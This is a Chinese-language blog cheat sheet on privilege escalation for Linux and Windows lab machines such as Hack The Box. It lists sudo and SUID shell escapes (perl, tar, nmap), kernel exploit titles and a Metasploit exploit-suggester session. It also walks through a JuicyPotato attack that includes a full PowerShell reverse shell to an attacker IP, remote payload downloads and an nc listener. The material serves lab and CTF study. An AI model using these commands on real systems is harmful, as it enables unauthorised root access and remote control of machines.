靶场提权小全

说是linux提权但在整理的时候不自主的把windows的内容也写了进去,结果变成了大杂烩,也不知道是好还是不好你

https://github.com/sagishahar/lpeworkshop

Windows提权:

​ FuzzySecurity | Windows Privilege Escalation Fundamentals

​ https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md

Linux提权:

​ Basic Linux Privilege Escalation - g0tmi1k

各种语言的Reverse Shell:

​ Reverse Shell Cheat Sheet | pentestmonkey

预先知识

通过suid查找授权应用

**find / -perm -4000**

**find / -perm -u=s -type f 2>/dev/null**

提权一个很重要的基础要求就是能看懂它漏洞文件,以及可以写出能利用漏洞的poc,所以踏实的掌握一门脚本语言是非常重要的

linux通用步骤

获取到低权限SHELL后我们通常做下面几件事

1.检测操作系统的发行版本 lsb_release -a

2.查看内核版本 uname -a

3.检测当前用户权限 id

4.列举Suid文件 find / -perm -u=s -type f 2>/dev/null

4.1列举root权限应用 sudo -l

5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞

6.查看防火墙有没有打开一些扫描不到的端口

7.使用linpeas,pspy等查看越权进程发

windows通用步骤

一般在靶场中windows的提权往往偏向于漏洞的利用,近几年据说添加了域提权的内容但是由于还没有报名,所以暂时还不能写,等到时候我在开一篇文章来专门写写域提权

步骤大概就是

1.在低权限下systeminfo查看版本漏洞

2.wes扫描一下systeminfo内容

3.winpean扫描一下机器

4.查看一下正在运行的进程,有没有什么可疑的

5.利用扫描出来的漏洞进行提权

6.实在不行使用msf

大概就是这样

漏洞扫描软件汇总

linux

需要在本地执行的 linpeas

windows

wes本地扫描,只需要复制sysinfo指令的内容就可以

msf multi/recon/local_exploit_suggester漏洞扫描模块使用方法见下面的msf章节

nmap扫描 有专用于扫描win漏洞的vuln模块 nmap -p 445 --script vuln 10.10.10.4

提权操作

sudo提权

可能会出现将sudo权限给了一些危险的应用,通过这些应用可以调取rootshell,比如说perl

perl提权

当perl可以执行的且有管理员权限时,可以使用perl打开shell获得root权限

sudo perl -e 'exec "/bin/bash"'

-e 是用命令行执行程序,exec是执行程序

靶场提权小全_第1张图片

Linux perl命令|极客笔记 (deepinout.com)

nmap提权

使用场景

针对nmap有suid位的时候使用

操作

使用nmap --interactive 交互模式

nmap允许使用interactive选项来执行shell命令

使用!sh命令获得一个root权限的shell

因为nmap有suid位所以可以实现

tar提权

当tar拥有更高的权限的时候可以选择用tar进行权限提升

$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)

内核提权

htb退休靶机常见漏洞44298内核提权,这个属于外挂,谨慎使用

如果提权失败了,我个人建议你测试几个其他的exploit,新的内核版本也可以试试

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ Local Root Shell

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit

Linux Kernel 4.3.3 – ‘overlayfs’ Local Privilege Escalation

Linux Kernel 4.3.3 - 'overlayfs' Local Privilege Escalation (2) - Linux local Exploit

利用环境变量劫持高权限程序提权

通过修改bash 的¥path来实现提权,暂时理解不了

linux 提权 实战Linux下三种不同方式的提权技巧 – WebShell'S Blog

拥有权和执行权不一样的程序

这点高发在定期执行的程序上,一般定期执行的程序的执行权都会是root,如果写入权较低,导致低权限用户可以写入,那么就可以将提权代码以低权限写入root权限执行,实现提权

具体参考htb靶场的bashed靶机

可以参考tartarsause靶机了

注入

经常在网页上会有数据库或者命令行的入口,命令行的权限一般是www,但是数据库的权限就非常有可能是root,那么我们是否可以利用高权限的数据库来执行一些指令呢,

mysql暂时不知道,但是OracleDB是可以实现的,具体参考我在htb靶场windows系列的silo靶机攻略中介绍的可以使这个数据库直接执行指令的工具odat

msf

msf中有一个探测漏洞的模块,可以在使用msf获得一个低权限会话之后把它放在后台使用探测模块进行探索,找到提权漏洞之后,再次使用提权漏洞对会话进行攻击

具体见htb靶场windowds系列的Granny靶机

我在这里摘抄

使用后渗透模块先将会话保存到后台

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/iis/cve_17_7269) > search post/multi/recon/local_exploit_suggester

Matching Modules
================

#  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester                                        

msf6 exploit(windows/iis/cve_17_7269) > use 0

这个模块是用来探查渗透系统有什么漏洞的

sessions 语句可以看到自己会话的id然后设计一下选项run就行

msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this modu
                                               le on
   SHOWDESCRIPTION  false            yes       Displays a detailed descript
                                               ion for the available exploi
                                               ts

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > sessions

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x86/win  NT AUTHORITY\NETWORK  10.10.16.2:4444 -> 1
            dows                  SERVICE @ GRANNY     0.10.10.15:1030 (10.
                                                       10.10.15)

msf6 post(multi/recon/local_exploit_suggester) > run

查看结果

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.15 - Collecting local exploits for x86/windows...
[*] 10.10.10.15 - 38 exploit checks are being tried...
[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed

存在三个漏洞ms14058 ms14070 ms15051

ssh

通过在低权限下访问一些敏感文件往往可以获得ssh登录的密匙,密码和账户名一类的东西

jueicpotato提权

详细见htb的slio靶机详解

当我们在一个普通权限下通过whoami /priv发现SeImpersonatePrivilege证明我们可以使用RottenPotato提权

PS C:\windows\system32\inetsrv>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

我们下载MSFRottenPotato.exeGitHub - decoder-it/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITYSYSTEM.

然后编译一个bat文件

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"

然后下载

PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/rev.bat', 'C:\temp\rev.bat')
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/MSFRottenPotato.exe', 'C:\temp\lp.exe')

之后运行脚本

PS C:\temp> c:\temp\lp.exe * \temp\rev.bat
connect sock
CreateIlok: 0 0
start RPC  connection
CreateDoc: 0 0
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 132
COM -> bytes sent: 132
COM -> bytes received: 127
RPC -> bytes Sent: 127
RPC -> bytes received: 196
COM -> bytes sent: 196
COM -> bytes received: 243
RPC -> bytes Sent: 243
RPC -> bytes received: 192
COM -> bytes sent: 192
COM -> bytes received: 72
RPC -> bytes Sent: 72
RPC -> bytes received: 60
COM -> bytes sent: 60
COM -> bytes received: 42
RPC -> bytes Sent: 42
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1  0
[+] Duped Token type:1
[+] Running \temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0

记得打开nc监听

root@kali:~/hackthebox/silo-10.10.10.82# nc -lnvp 8085
listening on [any] 8085 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.82] 49181

PS C:\Windows\system32> whoami
nt authority\system

内存取证

某些服务器或者特殊用途的计算机会有保存机器内存镜像的习惯,当我们拿到一份诸如dmp格式的文件时可以尝试使用volatility来进行取证

并尝试获取靶机特权账号的hash之后通过psexec来使用hash登录

你可能感兴趣的:(工具手册,安全,渗透测试,python,windows,linux)